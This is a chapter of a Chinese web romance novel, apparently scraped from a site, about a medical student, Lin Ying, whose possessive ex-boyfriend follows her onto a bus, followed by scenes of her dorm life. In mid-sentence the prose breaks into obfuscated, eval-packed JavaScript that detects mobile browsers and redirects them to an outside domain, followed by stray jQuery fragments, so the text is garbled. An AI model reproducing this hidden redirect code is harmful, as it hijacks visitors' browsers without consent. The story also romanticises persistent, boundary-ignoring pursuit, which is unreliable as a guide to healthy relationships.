“木木不想和我一起走吗?”陈望礼转头看向她,眼神专注。
林萤注意到他的动作,稍微侧头,隔绝他的视线。
她总归是不能直接点头,就支支吾吾的没有回答,手作扇子在脸庞扇风。
陈望礼轻笑了声,倒也没希望她会回答,动作轻柔的把她落下的碎发挂在耳朵旁,两人距离瞬间拉近。
他微微俯身,吐出来的热气扑洒在她耳边,引起一阵战栗。
“木木,为什么总是要在意别人的感受呢,只看着我不好吗?”他的语调温柔缱绻,可林萤却有种被蛇类动物盯上的错觉。
身上附着了散不去的黏腻感,他的舌苔仿佛随着呼出的气息舔舐到达的部位。
“...陈望礼,你怎么突然也来家教了?”直觉告诉她不要回答这个问题,只好转移了话题。
“课余时间想挣点钱啊~”他语气轻轻的,选择了做家教最普遍的那个理由。
林萤一时哑口无言,别人想家教赚钱还说得过去,他开车到这的油费都比时薪贵了吧。
“看你,午休睡醒后头发又不好好扎。”陈望礼没再继续这个话题,专注的摆弄她的头发。
眼神沉醉,氤氲在落日余晖中,脸上带着温柔的神色把头发重新替她扎好,和今天中午的角度位置,甚至松紧程度都相差不大。
他似乎特别热衷于给她扎头发这件事。
两人谈恋爱时,有次出去约会,林萤穿了件碎花长裙就没有扎头发,到中午吃饭时频频掉下来落到菜里。
陈望礼眼尖的注意到了,让服务员拿了个皮筋过来,走到她身后贴心的帮她把头发扎上。
从那之后,他像是对她的头发上了瘾,坐在一起时不时就要摆弄她的发稍,随时携带一个黑色发圈。
他的动作过于亲昵,林萤有些不自然,耸了耸肩头避开他的手。
陈望礼的动作微滞,随即恢复正常,目光含笑:“木木现在连让我碰一下都不愿意了吗?”
林萤觉得这人不讲理,说了不让自己出现在他面前,还过来给同一个人补课。
分手了还这么亲近,他是没有一点自觉吗!
但她也只敢在心里说,面上没有显露分毫。
“没有,你离我太近说话,脖子会有些痒。”说着她揉了揉耳朵。
陈望礼脸上的笑意愈发深厚,伸手替林萤揉她的耳朵。
一下又一下,轻轻揉捏按摩,疏通扩张静脉血管。
“好了好了。”脸颊借了几分霞云色彩,满面潮红,抬手止住他的动作。
被他揉的这两下没有任何缓解,甚至还有加重了的趋势。
林萤知道这人讨厌坐公交车,一路直走到公交站牌坐下,抬头目光疑惑的望向身边站着的人。
“我等你上公交车再走。”陈望礼早就看出了她的意图,知道她会不情愿自己开车载她,并没有拆穿,而是一路跟着到了站牌。
在市区内行驶的公交车一般是五分钟一趟,林萤刚坐下没多久,车就来了。
她从未觉得公交车停在这里尾气声会如此悦耳,双眼瞬间发亮,快步向它走去,全然不顾身后人的神情。
坐到后排靠窗的位置时,想到今天不用再看见陈望礼,嘴角翘起,心情颇好的给站在白桦树下的人挥了挥手,对了句口型:“再见啦。”
陈望礼却是低头气笑了,发梢打在他的眼角,在公交车开出的前一秒,大跨步上了车。
相比蓝牙耳机,林萤平时更喜欢用有线的,她刚从包里拿出耳机,把线疏通,就感受到车厢里有一股她熟悉的,浑身尴尬长刺挠的感觉在蔓延扩散。
甫一抬头,一张俊俏的容颜在她眼前放大,目光含春:“木木,又见面了,真巧。”
猛地睁大眼,手死死掐住自己大腿的那块嫩肉她才没有尖叫出声。
鬼啊——
这人怎么阴魂不散的。
饶是林萤平日里的性格再温吞,此时也有些炸毛:“你...你怎么在这里,不是开车过来的吗,不要车了?”
陈望礼觉得她这个样子过于可爱,浅笑道:“木木,我没有告诉你我是开车过来的啊。”
“这些位置很多人坐过的,这个季节的公交车味道又大,你不是有洁癖吗?”林萤指着他座椅下面的脏污。
不知是哪个小孩晕车吐了一地,还没来得及清扫。
陈望礼完美的表情有一丝裂痕,不着痕迹的向林萤那里靠近,答非所问:“原来木木你这么清楚我的喜好啊。”
一句话成功噎住她,林萤选择了闭嘴。
她的头靠在窗户上,耳机里放着舒缓的慢歌曲,试图屏蔽身边人的存在感。
独属于他的气息丝丝缕缕的渗透在自己身体里,无孔不入。
她想着,今天晚上得好好洗个澡了。
今天的天气高达35度,潮湿闷热感时时刻刻包裹着身体,身上简单的布料也成了炎热天气的利器,加害着这座城市的所有居民,无一幸存。
可能看出林萤的疲惫,陈望礼在车上拔掉她的一只耳机塞到自己耳朵上后就没了其他动作。
平淡的有一种两人分手前的相处模式。
相安无事的在公交车上待了半个小时后,一下车林萤就直奔学校大门,陈望礼则不急不慢的向他的单人公寓走去。
-
“萤萤,今天怎么下课的这么晚?”顾蕊一见她进门就来了个熊抱。
林萤担心自己身上的汗臭粘在她的睡衣上,躲闪着她的接触,细声细语道:“我出了一身汗,你别碰,有点脏。”
“脏什么脏,萤萤你就是一块香香软软的小蛋糕。”说着就又要过来抱她,低头在她衣服上嗅了嗅,“嗯...这个今天确实,今天那个。”
林萤呵呵笑了两声,弯起眼角,目光像沁润了月牙溪水:“就告诉你今天臭啦。”
“今天爆改脏脏包。”坐在一旁复习的李柚适时开口。
如今是六月份,A大的暑假在七月中旬,有些早就结束的课程陆陆续续的就开始考试了。
其他专业可能是考试周,但医学,必然是考试月。
不过还好,这个宿舍平日里有学习委员何听乐的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669632|173094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镇压,不出意外每天都会集体学习两到三个小时,平日里没事干了也是一块去图书馆,所以不需要特别临时抱佛脚。
把那些没搞懂的,记起来有些吃力的知识点再看看基本上就不会挂科了。
回来的时候,林萤路过食堂买了个鸡肉卷。
这个点的饭大多都是些剩菜剩汤,就连鸡肉卷也是凉的,变得有些干噎。
她就着包里的矿泉水,小口吃完就差不多饱了。
现在再冲个燕麦粥,就算彻底解决了今天的晚饭。
喝的时候嘴里嘟嘟囔囔在小声吐槽陈望礼,要不是他,今天也不会这么晚回来吃凉了的鸡肉卷。
愤恨的喝下一大口,然后就烫到了嗓子,麻了舌头。
更生气了。
她瞥了一眼浴室,没有人在使用,把杯子洗了就成了今天宿舍第一个洗澡的人。
洗澡前有些生气的结果就是,澡巾和浴花都没有带进来,手机也在外面的桌子上放着。
她有些欲哭无泪,打开了一个缝隙,把头伸出去小声喊床位离浴室最近的李柚:“柚柚,可以帮我拿一下浴花和澡巾吗,在阳台那挂着。”
李柚冲她点点头,比了个OK的手势。
她动作自然,缓步走到阳台取下林萤的浴花和澡巾,拿着它们像拿着组织的重要信物,要交接即将完成时,坐在一旁追剧的顾蕊突然转头看向她俩。
眉毛微挑,伸出双手扒着门框,不怀好意的露出一抹笑:“萤萤啊,让姐姐来给你搓背吧~”
原本沉迷学习的何听乐也取下耳机,快步走到浴室门口,脸上笑的荡漾:“萤萤啊~”
李柚转头,视线从身边的两人身上扫过,原本她还想当一次正人君子,看来只能作罢,清了清嗓子:“既然这样,那么我也,萤萤啊~”
此时的林萤像被放在试验台上的小白鼠,任人宰割,语气弱弱的:“可以不要这样对我吗?”
眼神真挚的看向她们,试图激起她们的同理心。
可惜,猎物越是示弱,猎人越兴奋,最后以林萤红着脸一人打了一下才收场。
老宿舍不隔音,声音从屋内穿透,整个楼道都回荡着她们嘻笑打闹的声音,得亏时间还早,不然指定被投诉。
隔天又是早八,林萤先起床,挨个敲了敲她们三人床边的铁架子:“起床啦。”
听到她们低低的迎合声才去洗漱。
顾蕊昨天和男朋友因为一点小事起了争执,今天也没有和他一起去上课。
今天她故意穿着修身黑裙子,完美的勾勒了她的身形,涂着豆沙色口红,放下一头乌黑的大波浪,把旁边三个人衬得像小学生。
于是,罕见的,604的四个人结伴去上课。
到教室时,林萤下意识的环顾四周,没有看见那个熟悉的身影,这下她犯了难,不知道该坐哪里。
“萤萤,站那干什么呢,找你家陈望礼啊?”顾蕊在她的一旁坐在,询问道。
屏蔽了何听乐和李柚疯狂对她使的眼色,伸手一指:“这不,说曹操曹操到,他过来了,你快去吧。”